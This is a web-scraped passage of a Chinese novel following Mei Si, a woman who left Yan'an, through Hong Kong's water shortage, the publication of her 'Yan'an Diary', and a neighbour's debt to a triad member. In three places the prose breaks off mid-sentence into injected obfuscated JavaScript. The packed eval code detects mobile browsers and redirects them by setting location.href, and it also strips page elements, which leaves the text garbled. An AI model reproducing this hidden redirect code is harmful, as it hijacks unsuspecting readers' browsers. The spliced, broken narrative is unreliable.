曹蔚然面色苦恼:“这一阵从大陆那边来的人终于减少了,五月十五号真吓人,五千人涌过来啊。” 梅思道:“那边究竟怎么样,我们在香港其实不晓得,什么缘故竟然会这样饥饿。” 曹蔚然摇头:“想来中共的经济办法也是有一些不太妥当。” 然后他又问:“梅小姐,当年为什么会离开延安?” 梅思慢慢地说:“大约是我终究不够坚强,经受不住革命的考验吧。” 曹蔚然笑道:“只怕未必这样简单。” 梅思双眼望向他,想了一想,终于说:“因为我发现,即使在这样光明的地方,我也不得不作娜拉。” 曹蔚然一时默然,《娜拉》啊,从那个时代过来的人,差不多没有人不知道,娜拉代表了反抗黑暗,追求光明的勇者,然而在延安,也需要作娜拉吗? “都发生了什么事?” “一言难尽。” 足足有三分钟的时间,曹蔚然说不出话,他无法评判梅思是意志衰退,对革命失去了信心。 与自己不同,梅思是冒着重重危险,亲身去过延安,在那里足足待了三年,而自己抗战时从浙江到了香港,香港沦陷,便去澳门,好在澳门一直保持了表面上的独立,因此自己可以说一直处于后方,可称是“战线之后的左翼”,面对梅思这样一个千里辗转去延安,站在革命最前沿的人,曹蔚然以为自己没有资格评价她是否勇敢。 然而在延安,究竟经历了什么,才让梅思这个当年极其激进的人,变成现在这个样子?与世无争,简直好像隐士了,在中国传统文化之中,隐士诚然代表了高洁,不与世俗同流合污,但也与尘世隔绝,在某个意义上,是死去的人。 想了一阵,曹蔚然忽然说:“梅小姐,你愿意写一写延安吗?我与《副刊》的编辑很熟,可以向他提一提。” 梅思笑笑:“延安啊,可写些什么呢?” “什么都好,你在延安这么久,总有些事情是印象深刻的。” 梅思脑中转了转:“那么我便勉强试试。” 第二天早上,梅思起了床,今天她没有匆匆出门,而是从从容容料理了早饭,又刷锅洗碗,候着苏凤香和招娣姐弟三个都出去了,房间里只剩自己一个人,便反锁好门,进入梅林。 梅林的窝棚之中,有一只大大的藤箱,梅思打开盖子,把上面的东西一件件放在旁边,最下方是一个油纸包,她捧起纸包,一层层将表面的油纸打开来,露出两本日记簿,厚厚的,很陈旧。 梅思把这两只本子抱贴在胸前,紧贴心脏处,听着自己一颗心怦怦跳了一阵,终于把日记簿从胸口移开,回到了外面房间之中。 这一天下午,香港会散市之后,梅思没有去图书馆,早早便回来石硖尾,坐在小桌前,便开始抄录日记。 相隔四天,中间还有一个礼拜天,这一天周二,曹蔚然收到了梅思送过来的几篇稿子,《延安日记一九四零年六月三十号~七月十五号》。 看到标题的第一眼,曹蔚然不由得笑出声来:“真聪明啊!” 把自己的日记拿来充稿件,实在是省事,把当年的记录重新誊写一下,便应付约稿。 下一刻他便想到,一九四零年的日记,到现在已经二十二年,这么多年的日记,幸亏她保存得这样好,这么多年躲避战乱,四处奔波,好在没有散失,是相当难得的资料。 曹蔚然仔细看了一遍,以为是可以发表的,文字坦白纯朴,看得出没有经过很多修饰,就是当年直抒胸臆,充满了年轻学生的热情朝气。 于是当天晚上,曹蔚然便把这几张纸送到了《副刊》编辑窦啸川那里,窦啸川接过来一看,眼前倏忽一亮,抬起头来:“阿蔚,你哪里找来这样的稿子?可遇而不可求啊!” 见他如此反应,曹蔚然也很有些得意:“还是之前一次饭局,认识了梅小姐,意外得知她竟然是去过延安的,便想着或许可以向她约稿。” 窦啸川留神听着,然后道:“所以我们这一行,真是要交游广阔,哪想到随意一场饭局,竟然得到这样宝贵的稿件。” 曹蔚然连连点头,心有同感,是啊,对于贾文庸,自己本来并不如何看重,只是业界的相识,这些年来倒是颇有来往,不过彼此并不知心,贾文庸身上的商业气息相当浓厚,最关注的是市场,想着要让报纸赚钱,至于报业人的理想,那是排在后面的,不过倒也难怪他,这应该与他的经历有关,之前开报馆失败了的,曹蔚然想着,倘若是自己有这样的遭遇,虽然未必就此改变初衷,但理想难免受挫。 那一次本来只是寻常应酬,是贾文庸旧报馆的同仁聚会,自己去了其实没有多大意思,只是却不过情面,反正那天晚上也空闲,去便去了,哪知闲聊之下,居然聊出来这样一件事。 曹蔚然便问:“你看可以登么?” 窦啸川乐道:“我以为很是可以,明天拿去给主编看。” 从这一年的九月到第二年八月,梅思的《延安日记》在商报《副刊》连载,笔名便叫做“梅影”。 八月十七号礼拜六,下午相约在茶座见面,坐下来之后,窦啸川问:“梅小姐要喝什么饮料?” 梅思摇头:“我自己带了水。两壶茶,窦先生那一份也准备出来。” 窦啸川苦笑一声,环顾四周:“早知这样,该约在书店的。” 香港今年大旱,从五月开始,两天或者四天才能供一次水,根据政府的统计,每个人每天平均只有二升水,这只可以勉强让人维持生命。 梅思毫不犹豫:“那么就换到那边报摊吧” 窦啸川望着她,梅小姐啊,你还真的是,毫不婉转啊,从延安出来的人,都是这样直接么? 几分钟之后,两个人就坐在路边报摊旁,一边喝水,一边说话: “日记很快就可以连载完结。” “我还有抗战时候,桂林的日记。” 窦啸川笑道:“我是想说,报馆想替你联系出版,就出这一部《延安日记》。” 梅思一张脸登时放出光来:“啊呀,那可太好了,多谢窦先生!” 正在愁延安日记结束之后,要投一些什么,想着可以将那两年桂林凌云的日记整理出来,倘若编辑感兴趣,便继续连载,哪知竟然要出书。 梅思是真的渴望能够长期连载,《商报》的稿酬比起小报,实在可称优厚,自己在小报登出来的小说,每篇只两三角钱,梅思要等稿酬凑够三块五块,才肯过去取,否则算上巴士车票、人力车费,实在划不来,然而商报连载,一篇便是几块,可以与工厂的日薪相比,有了这一笔钱,梅思衣食无忧,因此她便很希望《商报》的连载,可以天长地久地继续下去。 要说这一个“日记作家”,旁人或者以为很容易,现成的底稿,可是梅思那一回与窦啸川说:“也不是那么轻松。” 延安的日记太久了,那个时候只能用铅笔,本子也不是很好,到现在二十年,一些文字已经漫漶不清,而且梅思的日记笔记一律速记,有一些符号是她自创,当年记得很清楚,到如今变得模糊,那些简略的文字符号,自己有时也搞不清,当年是用来表达什么含义,便要努力回忆,有些实在记不起,就根据上下文推测,好在一些忘记的符号在后面还有出现,可以反复推究,梅思以为,有一点好像人家研究甲骨文。 然而终究有一些文字混不可解,便只得删去了,自己也很以为遗憾。 听了她的叙说,窦啸川笑道:“好像译电员,破译密码的。” 所以梅小姐用日记当稿件,也不是那样轻而易举,不像自己当初戏谑的,终南捷径,机巧伶俐。 梅思与窦啸川谈定了这件事,后面还要签合同,约定版税,正事便说完了,窦啸川抬手抹了一把头上的汗,望着前边街喉排队等水的市民,忽然发生感想:“这个时候谁如果还能随便洗澡,就是上等阶层。” 梅思眼瞧着上方条幅,“坊众轮水请守秩序”,是本区街坊会敬告,慢悠悠地说:“前几天邻居还说,倘若有水拿到街边去买卖,便可以发财。” 是归玉树的意见。 这一场异乎寻常的水荒,让人们对水的渴望升到高峰,三个多月的时间,不是很长久,但也不短暂,给人心带来严重的冲击,政府供水自然是免费的,然而太少,只能让人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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真是出乎意料啊,梅小姐,阚德龙望着她的背影,嘿嘿地笑,自己今天心血来潮,想要英雄助美,帮一下这个徐娘美人,本不是向来的风格,哪知竟给拒绝了呢? 虽然身在14K,然而阚德龙并不以为自己是流氓地痞,他是自命“侠义道”的,这些年背后给人怎样议论,他并不是不知道,只是并不理会,然而要说全不在意,却也终究难能那样超俗,方才就不知怎么,看到梅思那样吃力地担水,忽然便想要助一臂之力,心底涌起一股豪情:“不要总是说老子□□,这娇滴滴的半老美人这样辛苦地提水,你们谁帮了忙?这时候还不是我出力?” 不但要帮忙,而且还分文不取,一滴水都不喝她的,显示清白耿介。 不料梅小姐却拒绝了,阚德龙本来很有些不高兴,梅小姐啊,文化人,这样读书多的人,一般是看不上自己这类人,想来她也是“敬鬼神而远之”,保持清高,酸得很。 哪知竟然是为了“男女平等”!这可真是出乎意料,一时间阚德龙差一些便要,大笑出来了,梅小姐还真的是个妙人。 梅思费力地将两桶水担到七楼,每只桶二十五升,也是自己有些贪心,买了这样大两只桶,都装满水,一百斤实在有些重,况且又是七楼,爬上最后一级台阶,梅思已经累得喘不过气。 站在楼梯口,梅思擦着汗,一只手轻轻捶着腰,自己方才说“女子自强”,并不全是为了应付阚德龙,阚德龙的人情不是那么好领受的,不过自己也真心不想借男人的力。 在延安,是把“平等”讲彻底的,但凡用到力气的事,难免听到男同志这样的论调:“哎呀,你们妇女同志总是要讲平等,这时候怎么不讲平等?难道只想要‘平等’的好处,不愿出力么?” 梅思感到非常屈辱,从此立定志向,一切事情都自己来完成,尤其是体力方面的劳动,从前听铡美案,“香莲下堂泪不干,三百两银子把丈夫换,从今后我屈死也不喊冤”,自己苦死也不求男人。 这一个决心自从离开延安之后,她再没有对人讲过,倘若说了,可能会惹人笑吧?这些年种种经历,反而让人更加执着,有时候想一想,自己也觉得悲壮,好像“风萧萧兮易水寒”,烈女一去便不复还,然而惟其如此,能够保住尊严,梅思不知道像是这样的顽强,自己能够坚持多久,只是现在还有力气,便还坚守着吧。 她正这样乱想着,忽然间门一开,招娣探头出来:“呀,梅姨回来了,那是水么?来娣,宝庆,过来抬水!” 75.第七十五章 从卖皮鞋到卖书 第七十五章 从卖皮鞋到卖书 到十一月,与出版社的合同签了,梅思每天依然是去图书馆,整理稿件,傍晚提一桶水回来。 这时她已经没有那样夸张,只提一小桶十升,够几个人一天的饮用,苏凤香与三个孩子每到供水日,全都请假,停工停学,排队等水。 十二月二十四号,又是平安夜,下午梅思提一桶水,乘人力车去了邹公馆,进门东妹便叫:“啊呀幺姐,带了水来?快给我,很沉的,你提着吃力。” 白明珠很快也从里面迎出来:“梅小姐,你可好久没来了!啊哟还拿了水来,好大一桶,得几十升。” 梅思微微一笑,十五升,三十斤,自从水荒延续,自己买来的水桶水瓶可是不少了,如今还好一些,盛夏时节,大号的储水罐在士多里总看不到。 进入客厅,一股不很清新的味道,展目一望,四处灰蒙蒙。 想来也是晓得自家的窘境,白明珠勉强笑道:“唉,没有水,不好擦洗。如今还算好,毕竟天气凉了,夏天这屋子里都要发馊了。” 一股酸臭味,其实那些沙发茶几倒并不会散发这种怪味,而是长久不洗澡,人身上的气味,衣衫上也都是汗渍,几天不得洗涤。 邹千里这时也从沙发上站起:“梅小姐,快快请坐。” 东妹赶快冲了茶,大家闲谈,白明珠哀叹:“这水荒啊,不知什么时候能够了结,哪一天能痛痛快快下一场透雨呢?” 东妹咧嘴:“太太啊,夏天还没能盼来台风,到这时候,更不要想了。” 白明珠于是便沮丧了。 梅思说:“早晚会下雨的吧,不会一直这样紧张下去。” 邹千里冷笑道:“只怕纵然这一回顶了过去,还有下一回,香港从前是多少人口,如今是多少人口?本来就是个岛,四面环海,淡水是有数的,这些年越来越多人了,当局说淡化海水,淡化海水,可显然有限,倘若能够无穷无尽地从维多利亚港取得淡水,也不至于把人煎熬成这样。” 自家饮水烧饭倒是还能供得上,刷牙也还行,只是洗澡为难,连带不能洗头,“油头粉面”过去是说轻浮的男子,如今看一看,满街都是油头,那头发都油汪汪。 梅思也晓得他说的有道理,香港这些年不只是人口增加,还建了许多工厂,都要用水,纵然这一次得以缓解,长远终究是个威胁,雨水充足还算好,倘若如同这一年,大半年没有下一滴雨,人在香港,便仿佛置身沙漠,有活活渴死的危险。 邹千里诉说一番,忽然间头脑一个闪电:“如今在香港,水就是硬通货。” 什么金本位银本位,如今是水本位,过去的人坐在客厅里,高谈阔论政治经济文化,现在满心想的只是水水水,蓦然发现文明就是建立在这上面。 梅思说:“我有邻居已经离开了香港。” 就是林素琴,一家人实在受不住,离港先去广东,假如可以,想要回东北老家。 “我这个年纪,落叶归根了”,临别时素琴姐这样说。 邹千里本来想要说,“难民流转了方向”,白明珠抢先道:“啊哟,谁想到香港居然有这样一天呢?早知如此,我们也不来了,就留在桂林,起码不至于渴死。” 邹千里“哼”了一声,瞥了一眼自己的太太,几句话强忍住没有讲,是的,留在桂林,守着漓江,倒是不担忧没有水喝,只是恐怕早就掉了脑袋。 白明珠忧虑道:“这一阵总算安静些,好怕明年夏天,如果还是这样,又有人来偷水。” 现在盗贼都不偷钱了,专偷水。 又问:“梅小姐,你那边怎样?” 梅思哈哈地乐:“他敢来我的地方吗?屁股都给他打烂!” 同楼的人组织了自治会,防范偷盗,之前就有的,到这时更严密了,连宝庆都拿一根棍棒,楼里楼外地跑。 白明珠点头:“是啊,况且你那里还有14K。” 有谁那么不长眼,偷到红棍的楼里来了? 梅思嘻嘻一笑,这就好像人家门口挂了一个“内有恶犬”的牌子。 然后梅思道:“还是向大陆引水,才能长久免除忧患。” 淡化海水眼下不见多大效果,将来也未必有多少水量,想要彻底解决香港的淡水,梅思想来想去,只能从大陆那边调水,香港啊,虽然如今看来繁荣,然而孤悬海中的一个岛屿,实在很脆弱。 邹千里微微一笑:“从大陆引水?只怕就算花钱买,人家也不肯卖给你。” 白太太在一旁吸着冷气,梅思一时也默然,政治啊,向来是很残酷的,虽然真正的共产党人,应该是高风亮节的,但有的时候,梅思也不能够确定究竟会如何。 当晚,梅思八点多一点回到石硖尾,本来白明珠挽留再闲谈一阵,梅思说:“下次吧,这一向街头不很清净。” 邹千里也道:“为抢水斗殴,我们男子如今走夜路也担惊呢。” 而且居然有人成群械斗,就为一桶水。 械斗这回事,邹千里从前在广西,也曾经见过的,本乡民风彪悍,宗族之间常有械斗,那时邹千里刚刚从美国回来,时隔几年,已经对故国感到陌生,想要深深体味乡土气息,与朋友结伴游走乡村,那一回便偶遇械斗,站在附近的山头上,邹千里张口结舌,大开眼界,几百人锄头铁锨混斗一处,那叫做刀光剑影,血肉横飞,在小山上也能遥遥地听到呐喊声。 散场之后,朋友笑问:“感觉如何?” 邹千里终于闭上了嘴,吞了两口唾液,润润干燥的喉咙:“好像西部片。” 牛仔枪战,荒凉苍茫的美国西部,一群牛仔拿着左轮手枪互射,纵马奔驰,相比方才那一场,只是道具变了。 朋友含笑说:“毕竟是喝了几年洋墨水,如今的比方都不一样,要我看,把方才那一场放大些,就是官渡之战。” 再扩大就是整部《三国志》,太平洋战争结束之后,再回想当年的场景,就可以延伸到二战了。 当年村落战争的观感是,毕竟还是封建主义、落后的中国乡村,这种事情在美国是很难想象的,虽然电影是那样演,但电影毕竟是电影,以吸引观众为目的,即使曾经真实存在,在如今发达文明、崇尚法治的美国,西部枪战也已经消亡了,就算是同伴的感想,邹千里也以为太过“文人清高”,朋友是学文学的,所以很能发生离奇的想象,异种罗曼蒂克,才会把如此低级的械斗,联想成《三国志》,这是文人的孤傲。 然而现在,在资本主义的香港,活生生又看到了械斗。 梅思一路登上七楼,与楼道间走过的邻居打了招呼,进入房间,招娣一看到她,立刻举起一张纸:“梅姨,你看这一幅怎样?” 梅思回身关上门,快步走去,接过来一看:“我以为是可以了,明天拿去给陆小姐看一看。” 陆婉仪,出版社编辑,自己的这一部《延安日记》,便由她负责出书,封面图梅思拜托招娣来画。 招娣自从中学毕业,便到工厂里做事,梅思本来劝她去夜校,然而家里事情实在多,苏凤香要她帮忙,便暂时没有去,只是拿了纸笔,偶有闲暇便涂涂画画,她毕竟是自己赚薪水了,再买画笔颜料,苏凤香便不多说她什么。 这一回梅思要出书,定了合同之后,便与陆婉仪说:“封面我想要自己设计。” 陆婉仪笑道:“也是好的,你自己的日记,感触自然比旁人深刻,由你自己来画,再好不过。” 况且梅小姐又能画,另外陆婉仪也想到,作者自己设计封面,可以省一笔画师的费用,请插画师也是钱,梅小姐是个很懂经济的人,成本自然能减则减。 不过梅思却是托付了招娣。 招娣自从接了这个嘱托,马上便有了精神,早起晚睡,但凡有一点空闲,便埋头坐在桌边画,几次改了画稿,起先她画的是一座山峰,上面一座宝塔,空中一轮红日,意思很明显,就是延安的宝塔山。 要为一部书画封面,为理解起见,先要通读一遍,招娣以为这是起码的责任,因此便到图书馆,找来报纸,一期一期地翻,文章中写到了宝塔山,是“我”在女大的时候,假日与同学一起出去游玩,登上宝塔山,纵目四望,心情极其澎湃,议论着下一次要更早来,看宝塔山的日出。 如今的宝塔山,已经是中共革命的象征,即使在香港,也是知道的,难民带来人民币,二元钱币上印着宝塔山,所以招娣一接到这件委托,第一个想到的就是宝塔山,红日辉映峰顶的宝塔,寓意十分明显,便是革命如同冉冉升起的旭日,照耀着大地。 然而当她把第一稿交给梅思,梅思看了一阵,却摇摇头:“不是我此时的心境。” 招娣便把日记又重读一遍,这一回她很留意后半部分,“我”给斗争的经历,于是改了稿子,这一回是描绘深夜的山间,天上只有几颗星,地上一线通路,蜿蜒曲折,孤单寒冷的景象。 梅思看过,依 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14717835|152646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然摇头:“也不至于如此落寞。” 招娣冥思苦想,又改了第三稿,就是眼前这一幅,依然是夜间,然而不仅是星星,空中还挂了半轮月亮,山间的小路依然迂曲漫长,然而比之前略显宽阔,一个女子背着简单的行囊,走在路上。 到这一回,梅思终于感到,描画出了自己如今的心情。 见梅思喜欢这一幅画,招娣精神大振:“我把它仔细画一画。” 是草稿,要作为封面,还需要精细描绘。 苏凤香在一旁拿着针笑道:“真是着了魔了,从得了这个差事,又活过来了。” 枯木逢春啊,自己的招娣,自从中断了学业,便萎蔫了,好像长久未曾浇水的玉兰花,虽说无论是去工厂,还是做家事,都不曾耽搁,可是苏凤香分明看得出,招娣是很沮丧了,对什么都提不起兴趣,这让自己又是难过,又是愤怒,有时真想冲口一句:“你还想要我怎样?” 家中实在是没有钱啊,一个女孩子,读到中学毕业,已经是非分的福气,哪能都有那样的好命,像人家大小姐一样,一路往高级中学、大学去读?让她学画也已经是过分,那可真的是有钱人才能摆弄的东西,这些年纸笔颜料费去多少?虽然说是捡梅小姐用不完的来用,但苏凤香心高气傲,等闲不肯欠人情,她是十分不情愿的。 香港是一个节奏很快的地方,梅思这边确定了封面,又把日记重新整理,到□□年二月,春节刚刚过完,便印成了书,送到各处书店售卖。 首版六百本,为增加销量,陆婉仪还想了个办法:“到书店与读者谈一谈,或者便会买。” 于是正月十五刚过,梅思便描了久违的淡妆,盘了发髻,穿一件枣红色绸缎夹棉袍,领口是黑貂皮,脚上一双半旧的棉皮鞋,往那里那么一站,陆婉仪一看,嘿,真行啊,地道的民国风范! 这在如今的香港,已经是不多见了,作为英国的殖民地,香港本来便倾向西化,到了这个时候,仿佛是为了顺应“女子解放”,妇女愈多走向社会,逐渐大胆,旗袍干净利落,胸部尖尖的,如同子弹一般,带了现代气息,甚至还有一些人格外先锋,西装洋服,比如自己,便是一身西洋女装。 梅思的这一件旗袍,则仿佛几十年前的式样,全然不是时装,不单款式,那料子看起来也有些年份了,虽然保存得不错,但显然不是新的。 这一身倘若穿在别人身上,便是土气,然而梅小姐自有一种气质在,又懂得搭配,这一身夹棉旗袍配上挽发的珍珠发簪,摇摇曳曳,带了旧时代的温润,缱绻含蓄,与当下摩登的仓促很是不同,属于旧时代的华丽,与她所推介的书有一种奇异的反差。 梅思便穿了这一身行头,各个书店转场,推销《延安日记》,足有半个月时间,六百本书卖出四百本。 二月十四号,梅思去出版社商量加印的事,陆婉仪拍着梅思的手臂,哈哈大乐:“梅小姐,你真是厉害,本来还担心你会不好意思,哪知竟然如此顺利。” 梅小姐知识分子,读过书的人总有一种清高,以为对众人推销自己的书,是自吹自擂,本来还担心梅小姐也有这样的为难,哪知她往那里那么一站,毫不忸怩,直接就与人攀谈。 梅思一笑:“不过是当年卖皮鞋的招数,如今用来卖书。” 当真是“艺多不压身”,倘若没有之前站柜台的经验,自己可能真的会不好意思。 陆婉仪又看她身上,抿嘴笑道:“梅小姐换了新装了,也是一样的有韵味。” 这两天温度升高,穿不住夹棉袍,梅小姐便换了丝绒旗袍,翡翠绿色,依然是很久以前的样式,让人想到那个逝去的时代,沉静的富丽,衬托的是现时依然如火如荼的革命。 梅思道:“都是过去的东西了。” 陆婉仪笑道:“人总是会有一些底蕴在。” 比如梅小姐,虽然在香港是住石硖尾那个地方,与人共在一个屋顶之下,不过以她的家世,总不至于完全掉了底子,知识学养是时势带不走的,表现于外在,便是这几件昔日的衣衫,陈旧的华贵,虽然难免有一丝落寞,全靠它们来撑起架势,就好像郝思嘉用窗帘做礼服,可是这也是向人宣示,衣服的主人是经历过旧时繁华的人。 谈了一阵,梅思告辞回去,出门走了几步,一个十几岁的女孩子快步过来:“小姐,情人节买一束花吧!” 梅思看她怀中满捧的玫瑰,点了点头,取出皮夹,抽出一张钞票,拿了几支红玫瑰。 76.第七十六章 《延安日记》在台湾 第七十六章 《延安日记》在台湾 梅思的这一部《延安日记》,当初在《商报》连载的时候,便很吸引人的注意,报馆因此才想到要为她结集成书,初版的销路也很好,于是加印一千,出版社的机器开足马力,不出三天便印完了,梅思便又各处售书。 三月初,第二版的版税也汇给了梅思,三百元,前后两版,共得版税四百八十元,梅思从中拿出五十元给了招娣:“是你画封面的钱。” 招娣满脸是笑,说了声“谢谢”,转头便举着钞票,递给了母亲。 苏凤香撇了撇嘴:“拿去上你的夜校吧,谁想到画画也能赚钱。” 招娣每个月的薪水都交给家里,她自己只留一点零用钱,没钱去读夜校,这五十块钱是她另外赚的,苏凤香晓得她朝思暮想再进学校,便留给她自去读书。 招娣大喜过望,当即便翻出报纸,看夜校的广告。 三月九号,梅思上午难得去了香港会,这一阵忙于售书,已经好久没来看股价,上午在交易厅观察了两个多钟头,下午还要去书店和人介绍书。 到这一天晚上,梅思欢欢喜喜下来三楼,要与贺健莲结算这一阵的股息:“赚了三块半,要继续买还是取出来?” 贺健莲叹道:“取出来吧。” 梅思并不意外:“三块半当做零用也好。” 这一阵为了缺水,贺健莲断断续续提了些钱出去,买水买药。 贺健莲皱起眉头:“她薛婶发疟疾了,给她请医生用。” 梅思说:“又要请会么?” 贺健莲压低声音:“要命哦,这次可不止请会这么简单,阚德龙给大妹介绍了个差事……” 梅思的神经登时便绷紧了:“他能介绍什么工作?” 阚德龙是□□啊,14K里面,如果是男人,可以去当打手,但大妹是女孩子,组织中哪有她的位置? 贺健莲两条眉毛几乎拧在一起:“难道你还不晓得?就是陪男人睡觉……” 梅思恍然明白:“怎么会这样!” 贺健莲从鼻孔里冒火:“只为当年欠了他的钱,如今要人赔上一条身子,大妹真走了这一条路,后半世不能做人,太惨了,刚过二十呢,黄花大闺女。她薛叔如今悔得不得了,早知道这个样子,当初也就忍了,不去和人家掺和青天白日旗。” 就为了那一回给警方拘捕,罚款向阚德龙借钱,高利贷,之后一家人拼命做事还钱,往往只能还出利息,本金迟迟不能还上,而且还越欠越多,这一阵香港缺水,大妹母亲吕月嫦的洗烫生意便断了,这一下雪上加霜,她们全家人竭力拼凑,也凑不出钱来,到现在那欠债已经累积到两千块,阚德龙威逼要钱,还不出来便要大妹去舞厅陪人跳舞。 其实阚德龙的生意,大家都知道,哪里是跳舞,分明便要大妹去卖身。 因此贺健莲恨恨地说:“‘兔子不吃窝边草’,他是把草根都给嚼了。” 都是邻居,这样狠心。 “我实在不愿看那孩子掉进这泥坑,可是我如今也是有心无力。” 这一场水荒,大家都是大伤元气,唯独阚德龙这样吃人血肉的,看来并未怎样损伤,大约还有发达。 梅思思量片刻,两千块,对于自己也不是小数目,刚刚收入的版税,全都要送进去,另外还要取款,不过她想一想,毕竟还有几件首饰压在箱子底,不至于山穷水尽,这个世界上,堕入悲惨的人有许多,自己没有力量一一援手,但大妹就在自己眼前,总可以做点事情。 于是梅思道:“我去找阚德龙,这笔钱我来还。” 梅思先去了吕月嫦家中,和她讲不要答应阚德龙,然后便上七楼,敲阚德龙的门,他女人开了门,说他不在,要到第二天中午才回来。 梅思心中烦乱,好容易忍过这个晚上,第二日上午从银行回来,不等梅思去找阚德龙,阚德龙先来敲了门:“梅小姐,你找我有事?” 梅思点点头,也不请他屋里坐:“薛叔那笔债,我替他还了。” 阚德龙上下打量她,笑道:“梅小姐,你有钱。” 是作家了,已经出书了。 得说还得是旧家族的大小姐,别看人家落在石硖尾,照样能漂亮翻身,前一阵梅小姐到处卖书,自己大队出去搏杀和胜和,往道边一瞥看到了,那摊子就摆在路上,堆了一叠书,梅小姐迎风站在那里,真好像一杆竹子,别看四十岁的人了,依然是那么清清爽爽的,倘若不是实在老了些,自己都要心动,难怪她那书卖得好。 大小姐就是大小姐,人家是写书翻身,再看看自己,如今其实不缺钱,在这石硖尾,自己是数一数二的,但自己是怎样攒下家当?混□□。 □□就是□□,无论自己怎样标榜,都不是正路,旁人看自己,就好像看一颗毒丸,哪怕有了钱,也不得人敬重,一身总是墨黑,相比梅小姐的干净,让人怎么能甘心?于公于私,本来都要敲她一笔,可是她如今替薛家还钱,想来一时再榨不出什么油水,便也罢了。 等梅思取了钱给他,阚德龙手里抓着钱笑道:“梅小姐,这样很好,两全其美,本来我也不忍心,都住一栋楼,抬头不见低头见,我也不想给人戳脊梁骨,只是那不是我自己的钱,是会中的款子,虽然看重邻里情,也不能破了规矩,我也是很为难的。” 梅思定定地望着他,既不摇头也不点头,静默了十几秒钟,终于说了一句:“阚生,人生虽然艰难,但选择总是有的。” 阚德龙笑了一笑,转身走了。 当天晚上,苏凤香回来,问了几句这事,晓得借据已经还了给吕月嫦,松一口气之余,情绪便又激动起来,压低音量道:“这帮瘪三,坏事做尽,还当自己是水泊梁山。倘若不晓得根底,真以为是好人,当初倒是搭木屋,接水电的,很能迷惑人,看看现在,可是露出真面目来了,庇赌包娼,把人家好端端的女儿,要送进火坑里面去,哪里来的替天行道?这样人阿拉在上海常见的,几个出名的头目,杜月笙黄金荣,都是这个路数。” 梅思便想到当年住的铁皮屋,其实也是□□建造,这一个民生的窟窿,如果政府不来填,便是□□接手。 再想想苏凤香的类比水浒,梅思颇有感触:“像是这样民间自发的结社,如果没有一个正确的引导,就容易走向反面。” 走向反动的一面。 按照马克思主义的理论,比如新义安、14K这一类会社,多是社会底层迫于无奈而加入,按理来讲应该是很“革命”的,可是当年在政治课上,□□也说过,这一类组织,虽然对统治阶级有反抗性,但也有共谋的一面,本身是少有信仰的,对于普通劳苦大众,往往也表现为伤害掠夺,比如杜月笙,就帮助□□镇压革命,另外开赌场,尤为严重的是还贩毒,他的种种做法,与无产阶级革命是相背离的,他本人是一个政治投机者。 到这一年的九月,二号傍晚,梅思回到住处,看到桌面上搁着一封信,信皮上寄信人是傅传芳,这些年来,两人时有通信,起初紧密,到后来逐渐便稀疏了,不过这回时隔半年,姐姐便又写信过来。 拆开信封,纸上第一句便是问:“香港的水荒如何了?” 香港大旱,台湾也知道了,报纸上极力渲染断水的惨状,还登出照片来,香港人担着行李,出岛逃难。 去年的时候,傅传芳便再提邀约:“实在为难,便先到台湾来吧,暂住一阵,等那边缓解了,再回去。” 不是长住,是临时避难,权宜之计,不涉及到信仰的认同问题,台湾讲真其实也容易水荒,来这边十几年,停水也见识了几次,当然是比不得香港这一回的惊人,可是也很让人厌烦,不过终究还能过日子。 梅思自然是婉拒了:“还能坚持,倘若实在不成了,便去投奔姐姐。” 再往下看,居然是说到自己的书:“《延安日记》看到了,书肆之中有卖,就知道妹妹不会辜负一身才华,果然出了书,我双亲都看了,很称赞妹妹的文笔,质朴无华,真诚感人。” 梅思这一下颇有些吃惊,自己的那一本书,居然卖到台湾去了,难怪出版社和自己讲,照此情形,有可能会印制第三版。 再往下看,梅思如坐针毡:“在台湾,已经有人留意到这本书,报纸上发出评论来,说是一本难得素朴的书,十分真实,宝凝的老师,也推荐给大家这部日记。” 虽然姐姐说得含蓄,不过梅思是能够想象的,台湾提防左翼,已经到了神经过敏的程度,不准出左拉的书,二姐柏翠有一件印着葵花的旗袍,从中共建国,就不敢再穿,当局忌讳葵花图案,一出现就受刺激,因为葵花与太阳是紧密相连的,而中共一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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之后走出高原,重回风雨人间,小旅馆里,孤灯之下,每当想到延安,梅思笔下便又书写一番,此时巨大的震惊与恐慌终于逐渐消退,当时因为太过紧张而忽略的许多情境,一一重现眼前,梅思用笔细细记录,心情千回百转,那调子俨然便是一首词,南渡之后的李清照。 在《商报》发表当年的日记,梅思考虑很久,把连载就在□□之前戛然而止,毕竟后续的文字,虽然还在同一个日记本上,写的时候却已经离开延安,严格来讲不算《延安日记》,况且也敏感得很,前面写了自己的情感纠葛,虽然也可以看作是延安的暗影,这暗影毕竟还只是情爱方面,就好像张爱玲,痴男怨女那样蚀骨铭心,终究只在爱情的小圈子里打转,□□就不一样,□□是轰动整个延安的大事件,关涉到深刻的政治,倘若真的写出来,可能会给人利用来做文章。 因此梅思便没有继续后面的叙述,只是这篇连载如此收束,看起来“有头无尾”,窦啸川便和她提到这一点:“突然之间就完结了,到底是怎样离开延安?” 